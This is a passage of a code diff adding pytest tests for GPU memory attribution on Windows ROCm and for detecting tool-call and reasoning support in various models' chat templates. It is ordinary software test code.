+    monkeypatch.setattr(hw.subprocess, "run", _subprocess_run(adapter_output = "__NONE__\n"))
+
+    devices = hw.get_visible_gpu_utilization()["devices"]
+    assert len(devices) == 2  # both still shown with correct totals
+    assert {d["vram_total_gb"] for d in devices} == {48.0, 8.0}
+    assert all(d["vram_used_gb"] is None for d in devices)  # unknown, not fake 0
+    assert all(d["vram_utilization_pct"] is None for d in devices)
+
+
+# ----------------------------------------------------------------------------- #
+# mem_get_info free==total guard scoping
+# ----------------------------------------------------------------------------- #
+def test_mem_get_info_guard_scopes_to_windows_rocm(monkeypatch):
+    torch_mod = _fake_torch(DEVICES, free_equals_total = True)
+    monkeypatch.setattr(hw, "get_device", lambda: hw.DeviceType.CUDA)
+    monkeypatch.setitem(sys.modules, "torch", torch_mod)
+
+    # Windows ROCm -> used unknown (None), total kept.
+    monkeypatch.setattr(hw, "IS_ROCM", True)
+    monkeypatch.setattr(hw.sys, "platform", "win32")
+    win = hw._torch_get_per_device_info([0, 1])
+    assert [d["used_gb"] for d in win] == [None, None]
+    assert [d["total_gb"] for d in win] == [48.0, 8.0]
+
+    # Linux ROCm -> unchanged numeric used.
+    monkeypatch.setattr(hw.sys, "platform", "linux")
+    assert [d["used_gb"] for d in hw._torch_get_per_device_info([0, 1])] == [0.0, 0.0]
+
+    # Windows NVIDIA -> guard must not fire.
+    monkeypatch.setattr(hw, "IS_ROCM", False)
+    monkeypatch.setattr(hw.sys, "platform", "win32")
+    assert [d["used_gb"] for d in hw._torch_get_per_device_info([0, 1])] == [0.0, 0.0]
+
+
+# ----------------------------------------------------------------------------- #
+# Per-adapter attribution helpers (pure unit)
+# ----------------------------------------------------------------------------- #
+def test_match_adapter_pairs_and_clamps():
+    assert hw._match_adapter_used_to_devices([40 * GB, 0.5 * GB], [48 * GB, 8 * GB]) == [
+        40 * GB,
+        0.5 * GB,
+    ]
+    assert hw._match_adapter_used_to_devices([100 * GB], [48 * GB]) == [48 * GB]  # clamp
+    assert hw._match_adapter_used_to_devices([40 * GB], [48 * GB, 8 * GB]) == [40 * GB, None]
+
+
+def test_match_adapter_reports_unknown_when_more_active_than_visible():
+    # More adapters actively using VRAM than are visible (a GPU outside the mask):
+    # attribution would fabricate a value, so report unknown for every device.
+    assert hw._match_adapter_used_to_devices([40 * GB, 0.5 * GB], [8 * GB]) == [None]
+
+
+def test_match_adapter_reports_unknown_when_hidden_high_use_adapter_survives_filter():
+    # Idle 8 GiB card (10 MiB noise) beside a hidden 48 GiB card at 40 GiB: the
+    # 40 GiB can't fit the 8 GiB device, so clamping there would fabricate. Unknown.
+    assert hw._match_adapter_used_to_devices([40 * GB, 10 * MiB], [8 * GB]) == [None]
+    # Order of the counters must not matter.
+    assert hw._match_adapter_used_to_devices([10 * MiB, 40 * GB], [8 * GB]) == [None]
+
+
+def test_match_adapter_reports_unknown_for_placeholder_fallback():
+    # Every counter below the 64 MiB floor plus a placeholder: no LUID-to-ordinal
+    # mapping tells placeholder from idle GPU, so report unknown, not fabricate.
+    # Single visible 8 GiB card idle (10 MiB) beside a 50 MiB placeholder counter.
+    assert hw._match_adapter_used_to_devices([50 * MiB, 10 * MiB], [8 * GB]) == [None]
+    # Order of the counters must not matter.
+    assert hw._match_adapter_used_to_devices([10 * MiB, 50 * MiB], [8 * GB]) == [None]
+    # Two idle visible GPUs plus a placeholder: all three counters below the floor.
+    assert hw._match_adapter_used_to_devices([50 * MiB, 10 * MiB, 5 * MiB], [48 * GB, 8 * GB]) == [
+        None,
+        None,
+    ]
+
+
+def test_match_adapter_reports_unknown_when_usage_not_capacity_ordered():
+    # 8 GiB card at 7 GiB beside a 48 GiB card at 5 GiB: the bigger usage still fits
+    # the smaller card, so both pairings are feasible -> unknown.
+    assert hw._match_adapter_used_to_devices([7 * GB, 5 * GB], [8 * GB, 48 * GB]) == [None, None]
+    # Device order must not matter (same physical situation, ordinals flipped).
+    assert hw._match_adapter_used_to_devices([7 * GB, 5 * GB], [48 * GB, 8 * GB]) == [None, None]
+    # Same-capacity cards with unequal usage are equally unattributable.
+    assert hw._match_adapter_used_to_devices([12 * GB, 8 * GB], [24 * GB, 24 * GB]) == [None, None]
+    # A single usage that fits both cards can sit on either -> unknown.
+    assert hw._match_adapter_used_to_devices([5 * GB], [48 * GB, 8 * GB]) == [None, None]
+    # But a capacity-forced assignment (usage exceeds the smaller card) is kept:
+    # 40 GiB can only be the 48 GiB card, so it is not fabrication.
+    assert hw._match_adapter_used_to_devices([40 * GB], [48 * GB, 8 * GB]) == [40 * GB, None]
+
+
+def test_match_adapter_reports_unknown_when_hidden_usage_fits_visible_card():
+    # A survivor that merely *fits* a visible card must not be pinned onto it. Two
+    # cards (48/8 GiB) at 40 GiB / 10 MiB beside a hidden 6 GiB adapter: the 6 GiB
+    # fits the idle 8 GiB card but isn't forced -> Unknown; only 40 GiB is forced.
+    assert hw._match_adapter_used_to_devices([40 * GB, 10 * MiB, 6 * GB], [48 * GB, 8 * GB]) == [
+        40 * GB,
+        None,
+    ]
+    # Counter order must not matter.
+    assert hw._match_adapter_used_to_devices([6 * GB, 40 * GB, 10 * MiB], [48 * GB, 8 * GB]) == [
+        40 * GB,
+        None,
+    ]
+    # A single visible card with a hidden adapter is never attributable: a fitting
+    # survivor could be the hidden GPU's while the visible card is idle.
+    assert hw._match_adapter_used_to_devices([6 * GB, 10 * MiB], [8 * GB]) == [None]
+
+
+def test_match_adapter_capacity_forced_matrix():
+    """Exhaustive hidden-adapter matrix for the capacity-forced rule.
+
+    A value is emitted only when the supra-threshold counters number exactly the
+    visible devices AND a device's ranked usage strictly exceeds every smaller
+    card's capacity. Otherwise (a visible card idle, a merely-fitting usage, or the
+    smallest card) every device reports unknown.
+    """
+    m = hw._match_adapter_used_to_devices
+    # -- exactly-n supra-threshold counters, capacity-forced survivors are kept - #
+    # Both visible cards have a real reading (the 3 MiB is a placeholder): 40 GiB
+    # forced onto the 48 GiB card, 0.5 GiB not forced -> None.
+    assert m([40 * GB, 0.5 * GB, 3 * MiB], [48 * GB, 8 * GB]) == [40 * GB, None]
+    # Three visible cards all active (supra-threshold) + placeholder: 40 > 24 and
+    # 20 > 8, both forced; the 8 GiB card is not forced -> None.
+    assert m([40 * GB, 20 * GB, 5 * GB, 3 * MiB], [48 * GB, 24 * GB, 8 * GB]) == [
+        40 * GB,
+        20 * GB,
+        None,
+    ]
+    # -- fewer supra-threshold counters than visible cards -> all unknown ------ #
+    # A visible card is idle, so even a "forced" 40 could be the hidden GPU's.
+    assert m([40 * GB, 3 * MiB, 3 * MiB], [48 * GB, 8 * GB]) == [None, None]
+    assert m([40 * GB, 10 * MiB, 10 * MiB], [48 * GB, 8 * GB]) == [None, None]
+    assert m([40 * GB, 20 * GB, 3 * MiB, 3 * MiB], [48 * GB, 24 * GB, 8 * GB]) == [
+        None,
+        None,
+        None,
+    ]
+    # Middle usage (6 GiB) fits both the 24 and 8 GiB cards, and only two cards are
+    # active for three visible -> not a bijection -> all unknown.
+    assert m([40 * GB, 6 * GB, 3 * MiB, 3 * MiB], [48 * GB, 24 * GB, 8 * GB]) == [
+        None,
+        None,
+        None,
+    ]
+    # -- hidden larger than every visible card -> all unknown ----------------- #
+    assert m([40 * GB, 10 * MiB], [8 * GB]) == [None]
+    assert m([48 * GB, 3 * MiB, 3 * MiB], [24 * GB, 8 * GB]) == [None, None]
+    # -- more active adapters than visible cards -> all unknown --------------- #
+    assert m([40 * GB, 7 * GB, 6 * GB, 3 * MiB], [48 * GB, 8 * GB]) == [None, None]
+    assert m([40 * GB, 7 * GB, 6 * GB, 3 * MiB, 3 * MiB], [48 * GB, 8 * GB]) == [None, None]
+    # -- every counter below the noise floor (placeholder fallback) -> unknown - #
+    assert m([50 * MiB, 10 * MiB], [8 * GB]) == [None]
+    assert m([50 * MiB, 10 * MiB, 5 * MiB], [48 * GB, 8 * GB]) == [None, None]
+    # -- equal-capacity cards with a hidden adapter: nothing is forced -------- #
+    assert m([40 * GB, 40 * GB, 3 * MiB], [48 * GB, 48 * GB]) == [None, None]
+    assert m([40 * GB, 30 * GB, 3 * MiB], [48 * GB, 48 * GB]) == [None, None]
+
+
+def test_perf_counter_parser_and_sentinel(monkeypatch):
+    monkeypatch.setattr(hw.platform, "system", lambda: "Windows")
+    monkeypatch.setattr(
+        hw.subprocess, "run", _subprocess_run(adapter_output = _adapter_output(REPORTER_ADAPTERS))
+    )
+    parsed = hw._rocm_windows_perf_counter_vram_by_adapter()
+    assert parsed is not None and len(parsed) == 3
+    assert parsed[0][0].startswith("luid_")
+    monkeypatch.setattr(hw.subprocess, "run", _subprocess_run(adapter_output = "__NONE__\n"))
+    assert hw._rocm_windows_perf_counter_vram_by_adapter() is None
+
+
+# ----------------------------------------------------------------------------- #
+# Unified-memory (Strix Halo APU) total reconciliation (Codex #7238)
+# ----------------------------------------------------------------------------- #
+def test_unified_memory_adopts_torch_total_even_when_used_unknown():
+    """Windows ROCm unified-memory APU: torch's used is None but its total (the full
+    GTT pool) is authoritative. The correction must still adopt the larger total;
+    used stays at amd-smi's figure when torch's is unknown."""
+    metrics = {"vram_total_gb": 8.0, "vram_used_gb": 2.0, "vram_utilization_pct": 25.0}
+    hw._apply_unified_memory_correction(metrics, {"total_gb": 124.0, "used_gb": None, "index": 0})
+    assert metrics["vram_total_gb"] == 124.0  # full unified pool, not the 8 GB carve-out
+    assert metrics["vram_used_gb"] == 2.0  # amd-smi used preserved (torch's was None)
+    assert metrics["vram_utilization_pct"] == pytest.approx(round(2.0 / 124.0 * 100, 1))
+
+
+def test_unified_memory_overwrites_used_when_torch_used_known():
+    """When torch reports both a larger total and a known used, both are adopted
+    and utilization is recomputed against the corrected total (unchanged path)."""
+    metrics = {"vram_total_gb": 8.0, "vram_used_gb": 2.0, "vram_utilization_pct": 25.0}
+    hw._apply_unified_memory_correction(metrics, {"total_gb": 124.0, "used_gb": 40.0, "index": 0})
+    assert metrics["vram_total_gb"] == 124.0
+    assert metrics["vram_used_gb"] == 40.0
+    assert metrics["vram_utilization_pct"] == pytest.approx(round(40.0 / 124.0 * 100, 1))
+
+
+def test_unified_memory_no_op_when_torch_total_not_larger():
+    """A discrete GPU where torch total does not exceed amd-smi's is left untouched."""
+    metrics = {"vram_total_gb": 48.0, "vram_used_gb": 10.0, "vram_utilization_pct": 20.8}
+    hw._apply_unified_memory_correction(metrics, {"total_gb": 48.0, "used_gb": None, "index": 0})
+    assert metrics["vram_total_gb"] == 48.0
+    assert metrics["vram_used_gb"] == 10.0
+    assert metrics["vram_utilization_pct"] == 20.8
diff --git a/studio/backend/tests/test_safetensors_capability_advertise.py b/studio/backend/tests/test_safetensors_capability_advertise.py
index 671af93708..bd3d8d16b9 100644
--- a/studio/backend/tests/test_safetensors_capability_advertise.py
+++ b/studio/backend/tests/test_safetensors_capability_advertise.py
@@ -11,6 +11,8 @@ from pathlib import Path
 from types import SimpleNamespace
 from unittest.mock import MagicMock
 
+import pytest
+
 _backend_root = Path(__file__).resolve().parent.parent
 if str(_backend_root) not in sys.path:
     sys.path.insert(0, str(_backend_root))
@@ -46,6 +48,21 @@ reasoning_effort: {{ reasoning_effort }}
 """
 
 
+# DeepSeek-V4-Flash: an enable_thinking on/off gate PLUS a reasoning_effort
+# 'max' preamble. The shipped template only *branches* on 'max' ('high' renders
+# identically to thinking-on-without-the-preamble), so the literal scan alone
+# would surface only ['max']; the classifier adds 'high' for deepseek-v4 to
+# expose the encoder's full none/high/max ladder.
+DEEPSEEK_V4_TEMPLATE = (
+    "{%- if not thinking is defined %}"
+    "{%- if enable_thinking is defined %}{%- set thinking = enable_thinking %}"
+    "{%- else %}{%- set thinking = false %}{%- endif %}{%- endif %}\n"
+    "{%- if thinking and reasoning_effort == 'max' %}"
+    "{{- 'Reasoning Effort: Absolute maximum' }}{%- endif %}\n"
+    "{%- for message in messages %}{{- message.content }}{%- endfor %}"
+)
+
+
 PLAIN_TEMPLATE = """
 {%- for message in messages %}
   {{- message.role + ': ' + message.content + '\\n' }}
@@ -88,6 +105,29 @@ def test_detect_reasoning_flags_none_template_returns_all_false():
     assert flags["reasoning_style"] == "enable_thinking"
 
 
+def test_detect_reasoning_flags_deepseek_v4_exposes_none_high_max():
+    """DeepSeek-V4-Flash: enable_thinking gate + reasoning_effort 'max' preamble.
+    Classified as the hybrid style with the full none/high/max ladder even
+    though the template only branches on 'max'."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "unsloth/DeepSeek-V4-Flash-GGUF")
+    assert flags["supports_reasoning"] is True
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["high", "max"]
+    assert flags["reasoning_always_on"] is False
+
+
+def test_detect_reasoning_flags_non_deepseek_v4_effort_only_max_not_injected():
+    """The 'high' injection is scoped to deepseek-v4: a different model whose
+    template only branches on 'max' keeps ['max'] (no phantom 'high')."""
+    from core.inference.llama_cpp import detect_reasoning_flags
+
+    flags = detect_reasoning_flags(DEEPSEEK_V4_TEMPLATE, "vendor/OtherHybrid-GGUF")
+    assert flags["reasoning_style"] == "enable_thinking_effort"
+    assert flags["reasoning_effort_levels"] == ["max"]
+
+
 def test_detect_safetensors_features_passes_template_through_to_classifier():
     """Route wrapper forwards a real template to the inner classifier."""
     from routes.inference import _detect_safetensors_features
@@ -127,9 +167,8 @@ def test_detect_safetensors_features_gptoss_disables_tools():
     assert flags["supports_tools"] is False
 
 
-# Llama-3 / Mistral advertise tools but emit <|python_tag|> / [TOOL_CALLS],
-# which our parser can't read. The route helper must not flip supports_tools=True
-# for them, else the UI enables a pill the agentic loop can't honour.
+# Llama-3 / Mistral / Gemma 4 tool-call formats are now parser-supported, so supports_tools=True
+# must hold for all of them; only templates matching none of the five known markers are suppressed.
 
 LLAMA3_TEMPLATE = """
 {%- if tools %}
@@ -161,27 +200,188 @@ MISTRAL_TEMPLATE = """
 {%- endfor %}
 """
 
+GEMMA4_TEMPLATE = """
+{%- if tools %}
+  {{- 'Tools available. Emit calls as ' }}
+  {{- '<|tool_call>call:NAME{key:<|"|>val<|"|>}<tool_call|>' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
 
-def test_detect_safetensors_features_llama3_template_suppresses_tools():
-    """Llama-3 emits <|python_tag|>; safetensors loop cannot parse it."""
+
+def test_detect_safetensors_features_llama3_template_keeps_tools_on():
+    """Llama-3 emits <|python_tag|>; parser now supports it."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
     flags = _detect_safetensors_features(backend, LLAMA3_TEMPLATE)
-    assert flags["supports_tools"] is False
+    assert flags["supports_tools"] is True
 
 
-def test_detect_safetensors_features_mistral_template_suppresses_tools():
-    """Mistral emits [TOOL_CALLS]; safetensors loop cannot parse it."""
+def test_detect_safetensors_features_mistral_template_keeps_tools_on():
+    """Mistral emits [TOOL_CALLS]name{json}, which the safetensors loop now parses
+    (the shared bracket-tag parser). The gate must no longer suppress it, or the
+    PR's Mistral tool support is unreachable through normal capability detection."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/mistral-7b-instruct-v0.3")
     flags = _detect_safetensors_features(backend, MISTRAL_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_gemma4_template_keeps_tools_on():
+    """Gemma 4 emits <|tool_call>; parser now supports it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/gemma-4-E2B-it-UD-MLX-4bit")
+    flags = _detect_safetensors_features(backend, GEMMA4_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# DeepSeek V3 / V3.1 / R1 emit ``<｜tool▁calls▁begin｜>...`` blocks.
+# Note the full-width pipe (U+FF5C) and lower-1/8-block (U+2581).
+DEEPSEEK_TEMPLATE = """
+{%- if tools %}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+{%- for message in messages %}
+  {%- if message.role == 'assistant' and message.tool_calls %}
+    {%- for tc in message.tool_calls %}
+      {{- '<｜tool▁calls▁begin｜><｜tool▁call▁begin｜>' + tc.function.name +
+          '<｜tool▁sep｜>' + tc.function.arguments + '<｜tool▁call▁end｜>' }}
+    {%- endfor %}
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_deepseek_template_keeps_tools_on():
+    """DeepSeek emits ``<｜tool▁calls▁begin｜>...``; parser now supports it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/DeepSeek-V3.1")
+    flags = _detect_safetensors_features(backend, DEEPSEEK_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# GLM 4.5 / 4.6 / 4.7 emit ``<tool_call>NAME\n<arg_key>...<arg_value>...
+GLM_TEMPLATE = """
+{%- if tools %}
+  For each function call, output the function name and arguments within
+  the following XML format:
+  <tool_call>{function-name}
+  <arg_key>{arg-key}</arg_key>
+  <arg_value>{arg-value}</arg_value>
+  </tool_call>
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
+
+
+def test_detect_safetensors_features_glm_template_keeps_tools_on():
+    """GLM 4.x emits ``<tool_call>NAME\\n<arg_key>...``; parser handles it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/GLM-4.6")
+    flags = _detect_safetensors_features(backend, GLM_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+# Kimi K2 / Moonshot uses ``<|tool_calls_section_begin|>...`` blocks
+# with ``functions.NAME:IDX`` as the per-call id.
+KIMI_TEMPLATE = """
+{%- if tools %}
+  <|im_system|>tool_declare<|im_middle|>{{ tools | tojson }}<|im_end|>
+{%- endif %}
+{%- for message in messages %}
+  {%- if message.role == 'assistant' and message.tool_calls %}
+    <|tool_calls_section_begin|>
+    {%- for tc in message.tool_calls %}
+      <|tool_call_begin|>{{ tc.id }}<|tool_call_argument_begin|>{{ tc.function.arguments | tojson }}<|tool_call_end|>
+    {%- endfor %}
+    <|tool_calls_section_end|>
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_kimi_template_keeps_tools_on():
+    """Kimi K2 emits ``<|tool_calls_section_begin|>...``; parser handles it."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Kimi-K2-Instruct")
+    flags = _detect_safetensors_features(backend, KIMI_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+LLAMA3_2_BARE_JSON_TEMPLATE = """
+{%- if tools %}
+  {{- 'Given the following functions, respond with JSON for a function call.' }}
+  {{- 'Respond in the format {"name": function name, "parameters": dictionary}.' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+{%- for message in messages %}
+  {%- if 'tool_calls' in message %}
+    {{- '{"name": "' + message.tool_calls[0].function.name + '", '}}
+    {{- '"parameters": ' + (message.tool_calls[0].function.arguments | tojson) + '}' }}
+  {%- endif %}
+{%- endfor %}
+"""
+
+
+def test_detect_safetensors_features_llama3_2_bare_json_keeps_tools_on():
+    """Llama-3.2 bare JSON is supported, so the pill stays enabled."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, LLAMA3_2_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+MINICPM5_ATTRIBUTE_TEMPLATE = """
+{%- if tools %}
+  {{- 'Available tools. Emit calls as ' }}
+  {{- '<function name="NAME"><parameter name="key">value</parameter></function>' }}
+  {%- for tool in tools %}
+    {{- tool | tojson }}
+  {%- endfor %}
+{%- endif %}
+"""
+
+
+def test_detect_safetensors_features_attribute_function_form_keeps_tools_on():
+    """The attribute form ``<function name="...">`` must be whitelisted or the pill is wrongly suppressed."""
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "openbmb/MiniCPM-5")
+    flags = _detect_safetensors_features(backend, MINICPM5_ATTRIBUTE_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_unknown_format_suppresses_tools():
+    """Tools advertised with no known marker must be suppressed."""
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}<|im_start|>system\n"
+        "Emit tool calls as JSON-RPC notifications inside the response."
+        "<|im_end|>{%- endif %}"
+    )
+    backend = SimpleNamespace(active_model_name = "custom/unknown-tool-format")
+    flags = _detect_safetensors_features(backend, tpl)
     assert flags["supports_tools"] is False
 
 
 def test_detect_safetensors_features_qwen_tool_call_keeps_tools_on():
-    """Sanity check: gate only suppresses non-Qwen formats."""
+    """Sanity check: Qwen <tool_call> marker still flips supports_tools."""
     from routes.inference import _detect_safetensors_features
 
     backend = SimpleNamespace(active_model_name = "unsloth/Qwen3-0.6B")
@@ -217,6 +417,59 @@ def test_detect_safetensors_features_gemma_native_tool_call_keeps_tools_on():
     assert flags["supports_tools"] is True
 
 
+def test_detect_safetensors_features_gemma_native_reasoning_is_parseable_not_prefilled():
+    """Native Gemma channels are normalized to <think>, then split by the route."""
+    from routes.inference import _detect_safetensors_features, _sf_reasoning_prefill_mode
+
+    tpl_with_gemma_native = "{% if add_generation_prompt %}<|channel>thought\n<channel|>{% endif %}"
+    backend = SimpleNamespace(
+        active_model_name = "unsloth/gemma-4-E2B-it",
+        models = {
+            "unsloth/gemma-4-E2B-it": {
+                "native_chat_template": tpl_with_gemma_native,
+                "chat_template_info": {"template": "override has no native markers"},
+            }
+        },
+    )
+    flags = _detect_safetensors_features(backend, "override has no native markers")
+    missing_arg_flags = _detect_safetensors_features(backend, None)
+
+    assert flags["supports_reasoning"] is True
+    assert flags["reasoning_always_on"] is True
+    assert missing_arg_flags["supports_reasoning"] is True
+    assert _sf_reasoning_prefill_mode(flags, None, tpl_with_gemma_native) is False
+
+
+def test_detect_safetensors_features_selects_native_reasoning_from_tool_template():
+    """Request tools select a marker-bearing named template without affecting default chat."""
+    from routes.inference import _detect_safetensors_features
+
+    named_template = {
+        "default": "plain default template",
+        "tool_use": "{% if tools %}<|channel>thought\n<channel|>{% endif %}",
+    }
+    backend = SimpleNamespace(
+        active_model_name = "custom/named-native-reasoning",
+        models = {
+            "custom/named-native-reasoning": {
+                "native_chat_template": named_template,
+                "chat_template_info": {"template": "{% if tools %}<tool_call>{% endif %}"},
+            }
+        },
+    )
+
+    default_flags = _detect_safetensors_features(backend, "plain override")
+    tool_flags = _detect_safetensors_features(
+        backend,
+        "plain override",
+        tools = [{"type": "function"}],
+    )
+
+    assert default_flags["supports_reasoning"] is False
+    assert tool_flags["supports_reasoning"] is True
+    assert tool_flags["reasoning_always_on"] is True
+
+
 # Qwen3.5 family pin: the live GGUF + safetensors templates both wrap tool
 # calls as ``<tool_call>\n<function=name>...``. Faithful slice so the
 # classifier never silently regresses for this family.
@@ -454,3 +707,184 @@ def test_route_layer_emits_supports_tools_true_for_qwen3_safetensors():
     assert flags["supports_tools"] is True
     assert flags["supports_reasoning"] is True
     assert flags["supports_preserve_thinking"] is True
+
+
+@pytest.mark.parametrize(
+    "opener",
+    [
+        "<｜tool▁calls▁begin｜>",  # canonical
+        "<｜tool_calls_begin｜>",  # ASCII underscores
+        "<｜tool▁calls｜>",  # short form
+        "<｜tool calls begin｜>",  # spaces
+        "<｜tool\\_calls\\_begin｜>",  # escaped underscores
+    ],
+)
+def test_detect_safetensors_features_deepseek_opener_variants_keep_tools_on(opener):
+    # Every DeepSeek opener the parser accepts must keep supports_tools on; the route gate derives
+    # its markers from the parser's TOOL_XML_SIGNALS so it can no longer drift behind the parser ...
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}tools{%- endif %}"
+        + opener
+        + "<｜tool▁call▁begin｜>function<｜tool▁sep｜>get_time{}"
+        "<｜tool▁call▁end｜><｜tool▁calls▁end｜>"
+    )
+    backend = SimpleNamespace(active_model_name = "unsloth/DeepSeek-V3.1")
+    flags = _detect_safetensors_features(backend, tpl)
+    assert flags["supports_tools"] is True
+
+
+# Templates that advertise tools ({%- if tools %}) and prompt the bare-JSON
+# call form, but whose ``{"name":`` example is pretty-printed or JSON-escaped.
+_WHITESPACE_BARE_JSON_TEMPLATE = (
+    "{%- if tools %}\n"
+    "To call a tool, output JSON of the form:\n"
+    '{ "name" : "function_name", "parameters": { } }\n'
+    "{%- endif %}\n"
+    "{{ messages }}"
+)
+_ESCAPED_BARE_JSON_TEMPLATE = (
+    "{%- if tools %}\n"
+    'Respond with {\\"name\\": \\"fn\\", \\"parameters\\": {}}\n'
+    "{%- endif %}\n"
+    "{{ messages }}"
+)
+_TOOLS_ADVERTISED_NO_PARSEABLE_FORM = (
+    "{%- if tools %}\nYou may use the available tools.\n{%- endif %}\n{{ messages }}"
+)
+
+
+def test_detect_safetensors_features_keeps_tools_for_pretty_printed_bare_json():
+    # A pretty-printed bare-JSON example (``{ "name" :``) must keep supports_tools since the parser
+    # accepts that whitespace via raw_decode.
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _WHITESPACE_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_keeps_tools_for_escaped_bare_json():
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _ESCAPED_BARE_JSON_TEMPLATE)
+    assert flags["supports_tools"] is True
+
+
+def test_detect_safetensors_features_drops_tools_when_no_parseable_form():
+    # Negative control: tools advertised but no parser-recognised emission form at
+    # all -> the pill is still dropped (the gate is not now matching everything).
+    from routes.inference import _detect_safetensors_features
+
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, _TOOLS_ADVERTISED_NO_PARSEABLE_FORM)
+    assert flags["supports_tools"] is False
+
+
+def test_detect_safetensors_features_keeps_tools_for_function_alias_bare_json():
+    # A template documenting the parser-supported {"function":...} bare-JSON alias
+    # must keep supports_tools, mirroring the {"name":...} form.
+    from routes.inference import _detect_safetensors_features
+
+    tpl = (
+        "{%- if tools %}\n"
+        'Respond with {"function": "fn", "parameters": {}}\n'
+        "{%- endif %}\n"
+        "{{ messages }}"
+    )
+    backend = SimpleNamespace(active_model_name = "unsloth/Llama-3.2-3B-Instruct")
+    flags = _detect_safetensors_features(backend, tpl)
+    assert flags["supports_tools"] is True
+
+
+# _sf_reasoning_prefill_mode gates the prefilled-<think> extractor (GGUF reasoning parity).
+class TestSafetensorsReasoningPrefillGate:
+    # A minimal Qwen3-style template with the standard <think>/</think> markers.
+    _QWEN_TPL = "{% if enable_thinking %}<think>{% endif %}...</think>..."
+    # gemma-style bespoke reasoning channel -- no standard markers.
+    _GEMMA_TPL = "{% if enable_thinking %}<|think|>{% endif %}<|channel>thought<channel|>"
+    # always-on template whose GENERATION PROMPT opens an unclosed <think> (DeepSeek-R1 / QwQ /
+    # Qwen3-Thinking shape): the model emits only the closing </think>, so prefill.
+    _ALWAYS_ON_OPEN_TPL = (
+        "{% for m in messages %}{{ m['content'] }}{% endfor %}"
+        "{% if add_generation_prompt %}<|assistant|><think>\n{% endif %}"
+    )
+    # always-on template that renders PAST assistant <think>...</think> history but leaves the
+    # generation prompt open with no <think> (Kimi-K2-Thinking shape): the model self-emits its
+    # own block, so prefill mode would blank a normal answer.
+    _ALWAYS_ON_HISTORY_TPL = (
+        "{% for m in messages %}"
+        "{% if m['role'] == 'assistant' %}<think>{{ m.get('reasoning_content', '') }}</think>"
+        "{{ m['content'] }}{% endif %}"
+        "{% endfor %}"
+        "{% if add_generation_prompt %}<|im_assistant|>assistant<|im_middle|>{% endif %}"
+    )
+
+    def _features(self, **over):
+        base = {
+            "supports_reasoning": True,
+            "reasoning_always_on": False,
+            "reasoning_style": "enable_thinking",
+        }
+        base.update(over)
+        return base
+
+    def test_g1_enable_thinking_true(self):
+        # G1: Qwen3.5 template + explicit enable_thinking=True -> prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), True, self._QWEN_TPL) is True
+
+    def test_g2_enable_thinking_none_defaults_on(self):
+        # G2: default request (None) -> prefilled (Qwen3/GLM templates default on).
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), None, self._QWEN_TPL) is True
+
+    def test_g3_enable_thinking_false(self):
+        # G3: thinking explicitly off -> not prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
+        assert _sf_reasoning_prefill_mode(self._features(), False, self._QWEN_TPL) is False
+
+    def test_g4_gpt_oss_reasoning_effort_excluded(self):
+        # G4: gpt-oss uses explicit tags via HarmonyTextStreamer -> normal mode.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_style = "reasoning_effort")
+        assert _sf_reasoning_prefill_mode(feats, True, self._QWEN_TPL) is False
+
+    def test_g5_enable_thinking_effort_included(self):
+        # G5: GLM-style enable_thinking_effort also prefills.
+        from routes.inference import _sf_reasoning_prefill_mode
+        feats = self._features(reasoning_style = "enable_thinking_effort")
+        assert _sf_reasoning_prefill_mode(feats, None, self._QWEN_TPL) is True
+
+    def test_g6_non_reasoning_model(self):
+        # G6: no reasoning capability -> never prefilled.
+        from routes.inference import _sf_reasoning_prefill_mode
